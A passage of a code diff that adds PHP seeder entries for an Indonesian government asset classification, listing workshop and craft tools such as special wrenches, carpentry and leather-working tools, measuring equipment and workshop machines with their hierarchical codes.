SET', + ], + [ + 'id_aset' => 1085, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'TAP DIES', + ], + [ + 'id_aset' => 1086, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'GREEPER', + ], + [ + 'id_aset' => 1087, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'ENGINE STAND', + ], + [ + 'id_aset' => 1088, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'KUNCI MOMENT', + ], + [ + 'id_aset' => 1089, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '010', + 'nama' => 'PEMBUAT FISIK (DIESS)', + ], + [ + 'id_aset' => 1090, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '011', + 'nama' => 'TUNGKU NON FERROUS', + ], + [ + 'id_aset' => 1091, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '012', + 'nama' => 'WHEEL CHOCK (PERKAKAS STANDARD (STANDARD TOOLS))', + ], + [ + 'id_aset' => 1092, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '013', + 'nama' => 'MAINTENANCE STEP', + ], + [ + 'id_aset' => 1093, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '014', + 'nama' => 'CRIMPING TOLLS', + ], + [ + 'id_aset' => 1094, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '015', + 'nama' => 'TOOLKIT TUKANG KAYU TON', + ], + [ + 'id_aset' => 1095, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '016', + 'nama' => 'TOOLKIT TUKANG BATU TON', + ], + [ + 'id_aset' => 1096, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '017', + 'nama' => 'TOOLKIT TUKANG LISTRIK', + ], + [ + 'id_aset' => 1097, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '018', + 'nama' => 'TOOLKIT PEMELIHARAAN', + ], + [ + 'id_aset' => 1098, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '019', + 'nama' => 'TOOLKIT PERBENGKELAN', + ], + [ + 'id_aset' => 1099, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '020', + 'nama' => 'TOOLKIT PERPIPAAN', + ], + [ + 'id_aset' => 1100, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '021', + 'nama' => 'TOOL OUTFIT PIONER ELECTRIC', + ], + [ + 'id_aset' => 1101, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '022', + 'nama' => 'TOOL GENERAL MECHANIC SET', + ], + [ + 'id_aset' => 1102, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '023', + 'nama' => 'TOOLKIT TUKANG BESI', + ], + [ + 'id_aset' => 1103, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '024', + 'nama' => 'TOOL ELECTRICAL SET', + ], + [ + 'id_aset' => 1104, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '025', + 'nama' => 'SAWMIL', + ], + [ + 'id_aset' => 1105, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '026', + 'nama' => 'UNIT PELUMAS PORTABLE', + ], + [ + 'id_aset' => 1106, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '027', + 'nama' => 'SCAFOLDING SET & TOOL', + ], + [ + 'id_aset' => 1107, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '028', + 'nama' => 'HAND FALLET', + ], + [ + 'id_aset' => 1108, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '029', + 'nama' => 'PARON', + ], + [ + 'id_aset' => 1109, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '030', + 'nama' => 'CYLINDER BEARING', + ], + [ + 'id_aset' => 1110, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '031', + 'nama' => 'PERLENGKAPAN BENGKEL PENGECATAN', + ], + [ + 'id_aset' => 1111, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS STANDARD (STANDARD TOOLS) LAINNYA', + ], + [ + 'id_aset' => 1112, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS KHUSUS (SPECIAL TOOLS)', + ], + [ + 'id_aset' => 1113, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'KUNCI KHUSUS UNTUK ENGINE', + ], + [ + 'id_aset' => 1114, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'KUNCI KHUSUS ALAT BESAR DARAT', + ], + [ + 'id_aset' => 1115, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'KUNCI KHUSUS ALAT BESAR APUNG', + ], + [ + 'id_aset' => 1116, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'KUNCI KHUSUS CASIS ALAT ANGKUT DARAT', + ], + [ + 'id_aset' => 1117, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'KUNCI KHUSUS CASIS', + ], + [ + 'id_aset' => 1118, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'KUNCI KHUSUS ALAT ANGKUT APUNG', + ], + [ + 'id_aset' => 1119, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '007', + 'nama' => 'KUNCI KHUSUS PEMBUKA MUR/BAUT', + ], + [ + 'id_aset' => 1120, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '008', + 'nama' => 'KUNCI KHUSUS MOMENT', + ], + [ + 'id_aset' => 1121, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '009', + 'nama' => 'KUNCI KHUSUS ALAT BESAR UDARA', + ], + [ + 'id_aset' => 1122, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '010', + 'nama' => 'KUNCI KHUSUS CASIS ALAT BESAR UDARA', + ], + [ + 'id_aset' => 1123, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '011', + 'nama' => 'DIGITAL TANG AMPERE', + ], + [ + 'id_aset' => 1124, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '012', + 'nama' => 'DIGITAL TACHOMETER', + ], + [ + 'id_aset' => 1125, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '013', + 'nama' => 'FOOT KLEP', + ], + [ + 'id_aset' => 1126, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '014', + 'nama' => 'CINCIN/KOPLING SLANG HYDRANT', + ], + [ + 'id_aset' => 1127, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '015', + 'nama' => 'KUNCI L', + ], + [ + 'id_aset' => 1128, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '016', + 'nama' => 'TBA', + ], + [ + 'id_aset' => 1129, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS KHUSUS (SPECIAL TOOLS) LAINNYA', + ], + [ + 'id_aset' => 1130, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS BENGKEL KERJA', + ], + [ + 'id_aset' => 1131, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'GERGAJI', + ], + [ + 'id_aset' => 1132, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'KETAM', + ], + [ + 'id_aset' => 1133, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'BOR', + ], + [ + 'id_aset' => 1134, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '004', + 'nama' => 'PAHAT', + ], + [ + 'id_aset' => 1135, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '005', + 'nama' => 'KAKAK TUA', + ], + [ + 'id_aset' => 1136, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '006', + 'nama' => 'WATER PAS', + ], + [ + 'id_aset' => 1137, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '007', + 'nama' => 'SIKU', + ], + [ + 'id_aset' => 1138, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '008', + 'nama' => 'PALU', + ], + [ + 'id_aset' => 1139, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS BENGKEL KERJA LAINNYA', + ], + [ + 'id_aset' => 1140, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN TUKANG BESI', + ], + [ + 'id_aset' => 1141, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANGGEM', + ], + [ + 'id_aset' => 1142, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '002', + 'nama' => 'GUNTING PLAT', + ], + [ + 'id_aset' => 1143, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '003', + 'nama' => 'LANDASAN KENTENG', + ], + [ + 'id_aset' => 1144, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '004', + 'nama' => 'KUNCI KAUL', + ], + [ + 'id_aset' => 1145, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '005', + 'nama' => 'GUNTING PLAT TANGAN', + ], + [ + 'id_aset' => 1146, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANG KOMBINASI', + ], + [ + 'id_aset' => 1147, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANG POTONG', + ], + [ + 'id_aset' => 1148, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '008', + 'nama' => '\"BETEL', + ], + [ + 'id_aset' => 1149, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '009', + 'nama' => 'PUKUL KONDE', + ], + [ + 'id_aset' => 1150, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '010', + 'nama' => 'PUKUL LENGKUNG', + ], + [ + 'id_aset' => 1151, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '011', + 'nama' => 'PUKUL SABIT', + ], + [ + 'id_aset' => 1152, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '012', + 'nama' => 'KIKIR', + ], + [ + 'id_aset' => 1153, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '013', + 'nama' => 'KUNCI PAS', + ], + [ + 'id_aset' => 1154, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '014', + 'nama' => 'TANG SENAI & TAP', + ], + [ + 'id_aset' => 1155, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '015', + 'nama' => 'DREI BIASA (OBENG)', + ], + [ + 'id_aset' => 1156, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '016', + 'nama' => 'DREI KEMBANG (OBENG)', + ], + [ + 'id_aset' => 1157, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '017', + 'nama' => 'DREI KETOK (OBENG)', + ], + [ + 'id_aset' => 1158, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '018', + 'nama' => 'SEKET MAT', + ], + [ + 'id_aset' => 1159, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '019', + 'nama' => 'JANGKA BESI', + ], + [ + 'id_aset' => 1160, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '020', + 'nama' => 'KUNCI STANG', + ], + [ + 'id_aset' => 1161, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN TUKANG BESI LAINNYA', + ], + [ + 'id_aset' => 1162, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN TUKANG KAYU', + ], + [ + 'id_aset' => 1163, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '001', + 'nama' => 'TATAH BIASA', + ], + [ + 'id_aset' => 1164, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '002', + 'nama' => 'TATAH LENGKUNG', + ], + [ + 'id_aset' => 1165, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '003', + 'nama' => 'KAOTA', + ], + [ + 'id_aset' => 1166, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '004', + 'nama' => 'PETEL', + ], + [ + 'id_aset' => 1167, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '005', + 'nama' => 'PATAR', + ], + [ + 'id_aset' => 1168, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '006', + 'nama' => 'BOR ENGKOL', + ], + [ + 'id_aset' => 1169, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '007', + 'nama' => 'PERLENGKAPAN BENGKEL KAYU', + ], + [ + 'id_aset' => 1170, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN TUKANG KAYU LAINNYA', + ], + [ + 'id_aset' => 1171, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN TUKANG KULIT', + ], + [ + 'id_aset' => 1172, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '001', + 'nama' => 'PISAU KULIT', + ], + [ + 'id_aset' => 1173, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '002', + 'nama' => 'PANDOKAN SEPATU', + ], + [ + 'id_aset' => 1174, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '003', + 'nama' => 'LIS SEPATU', + ], + [ + 'id_aset' => 1175, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '004', + 'nama' => 'COKRO', + ], + [ + 'id_aset' => 1176, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '005', + 'nama' => 'PLONG KULIT', + ], + [ + 'id_aset' => 1177, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '006', + 'nama' => 'CATUT', + ], + [ + 'id_aset' => 1178, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '007', + 'nama' => 'PUKUL SEPATU', + ], + [ + 'id_aset' => 1179, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '008', + 'nama' => 'GUNTING KULIT', + ], + [ + 'id_aset' => 1180, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '009', + 'nama' => 'GUNTING KAIN', + ], + [ + 'id_aset' => 1181, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '010', + 'nama' => 'DREK MATA AYAM', + ], + [ + 'id_aset' => 1182, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '012', + 'nama' => 'UNCEK', + ], + [ + 'id_aset' => 1183, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN TUKANG KULIT LAINNYA', + ], + [ + 'id_aset' => 1184, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '000', + 'nama' => '\"PERALATAN UKUR', + ], + [ + 'id_aset' => 1185, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '001', + 'nama' => 'DIPAN UKUR', + ], + [ + 'id_aset' => 1186, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '002', + 'nama' => 'METERAN KAIN', + ], + [ + 'id_aset' => 1187, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '003', + 'nama' => 'ROL METER', + ], + [ + 'id_aset' => 1188, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '004', + 'nama' => 'JANGKA BERKAKI', + ], + [ + 'id_aset' => 1189, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '005', + 'nama' => 'PATAR GIP', + ], + [ + 'id_aset' => 1190, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '006', + 'nama' => 'PISAU GIP', + ], + [ + 'id_aset' => 1191, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '007', + 'nama' => 'PARAREL BAR', + ], + [ + 'id_aset' => 1192, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '008', + 'nama' => 'CERMIN BESAR', + ], + [ + 'id_aset' => 1193, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '009', + 'nama' => 'TANGGA LATIHAN', + ], + [ + 'id_aset' => 1194, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '010', + 'nama' => 'TRAP LATIHAN', + ], + [ + 'id_aset' => 1195, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '999', + 'nama' => '\"PERALATAN UKUR', + ], + [ + 'id_aset' => 1196, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN BENGKEL KHUSUS PELADAM', + ], + [ + 'id_aset' => 1197, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN CNC', + ], + [ + 'id_aset' => 1198, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '002', + 'nama' => 'DYNAMO TUNGKU', + ], + [ + 'id_aset' => 1199, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN FRAIS', + ], + [ + 'id_aset' => 1200, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '004', + 'nama' => 'MESIN SKRAF', + ], + [ + 'id_aset' => 1201, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '005', + 'nama' => 'MESIN BOR MEJA / KAKI LISTRIK', + ], + [ + 'id_aset' => 1202, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '006', + 'nama' => 'PALU BESAR', + ], + [ + 'id_aset' => 1203, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '007', + 'nama' => 'MESIN KORTER', + ], + [ + 'id_aset' => 1204, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '008', + 'nama' => 'PALU KECIL', + ], + [ + 'id_aset' => 1205, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '009', + 'nama' => 'MESIN GERINDA DUDUK (BENCH GERINDA)', + ], + [ + 'id_aset' => 1206, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '010', + 'nama' => 'GEGEP PEMOTONG KUKU', + ], + [ + 'id_aset' => 1207, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '011', + 'nama' => 'GEGEP PEMOTONG PAKU', + ], + [ + 'id_aset' => 1208, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '012', + 'nama' => 'PISAU RENET', + ], + [ + 'id_aset' => 1209, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '013', + 'nama' => 'MESIN JAHIT TERPAL', + ], + [ + 'id_aset' => 1210, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '014', + 'nama' => 'PELOBANG TAPEL', + ], + [ + 'id_aset' => 1211, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '015', + 'nama' => 'TANG BUAYA', + ], + [ + 'id_aset' => 1212, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '016', + 'nama' => 'MESIN BATTERY SET / PENGISI ACCU', + ], + [ + 'id_aset' => 1213, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '017', + 'nama' => 'PERALATAN BENGKEL LAINNYA', + ], + [ + 'id_aset' => 1214, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '018', + 'nama' => 'MESIN BLOWER LISTRIK / MEKANIK', + ], + [ + 'id_aset' => 1215, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '019', + 'nama' => 'MESIN SIKAT / BRUSH MACHINE', + ], + [ + 'id_aset' => 1216, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '020', + 'nama' => 'MESIN PEMBUKA BAN', + ], + [ + 'id_aset' => 1217, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '021', + 'nama' => 'MESIN SLEP KRUK AS', + ], + [ + 'id_aset' => 1218, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '022', + 'nama' => 'MESIN ASAH SILIDER COP', + ], + [ + 'id_aset' => 1219, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '023', + 'nama' => 'MESIN GULUNG SPOOL', + ], + [ + 'id_aset' => 1220, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '024', + 'nama' => 'MESIN GULUNG PLAT', + ], + [ + 'id_aset' => 1221, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '025', + 'nama' => 'MESIN POMPA AIR PMK', + ], + [ + 'id_aset' => 1222, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '12', + 'sub_sub_kelompok' => '026', + 'nama' => 'MESIN ASAH 